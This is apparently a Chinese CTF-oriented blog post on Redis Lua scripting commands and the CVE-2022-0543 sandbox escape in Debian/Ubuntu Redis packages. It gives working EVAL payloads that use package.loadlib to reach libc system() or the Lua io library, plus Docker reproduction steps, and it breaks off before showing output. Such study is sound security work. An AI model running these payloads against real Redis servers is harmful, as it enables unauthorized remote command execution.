不是什么很新的东西,但最近在出题的时候想要恶心一下别人,简单重温一下,思路很简单,我们都知道 Redis 是一门非关系型数据库,主要为键值存储,但是很少有人知道 Lua 还能用来执行一些 Lua 脚本代码

常见的指令有这几个
- EVAL,直接执行 Lua 脚本
- EVALSHA,根据脚本的 SHA1 教研来执行
- SCRIPT LOAD,托管脚本,将脚本加载到 Redis 缓存中,但不立即执行,返回 SHA1
- SCRIPT EXISTS sha1,检查某个 SHA1 对应的脚本是否已经在缓存里
- SCRIPT FLUSH,清空所有的 Lua 脚本缓存(但是,在生产环境中执行这个会直接导致所有依赖 EVALSHA 的业务瞬间崩溃)
- SCRIPT KILL,杀死正在运行的长耗时脚本
- redis.call()
- redis.pcall()
正常来说,我们可以这样子执行
1 | eval '任意表达式' 0 |

系统就会解析 lua 代码来执行任意代码,比如我们可以尝试一下 lua 命令执行(这里默认是禁用了 os 和 io 库),所以执行 eval 'return io.popen("whoami;id")' 0,会报错

那么有没有啥版本可以绕过这个限制呢?答案是利用 CVE-2022-0543 这个沙盒逃逸漏洞,简单来说,它的根源不在于 Redis 本身,而在于 Debian 及 Ubuntu 等发行版在打包 Redis 时,为了减小体积,将 Lua 解释器作为一个动态链接库(Shared Library)加载,这导致了一个致命问题,在正常的 Redis Lua 沙箱中,原本应该被禁用的 package 库(它可以加载外部库并执行代码)在某些环境下是可用的
先来看看利用的 exp
1 | EVAL 'local os_execute = package.loadlib("/lib/x86_64-linux-gnu/libc.so.6", "system"); os_execute("whoami > /tmp/out");' 0 |
可以借助 loadlib 函数来动态加载链接库,例如加载 /usr/lib/x86_64-linux-gnu/liblua5.1.so.0 里面的 luaopen_io 函数,从而获得 io 库来执行任意命令
1 | local io_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_io"); |
这样子就能达到 RCE 的目的,我们启动一个 Debian 11,然后装上 Redis,早期的 Redis Server是受到影响的,启动环境复现
1 | docker pull docker.m.daocloud.io/library/debian:11 |

接着执行
1 | redis-cli |
如果用高版本 Redis 执行则会显示
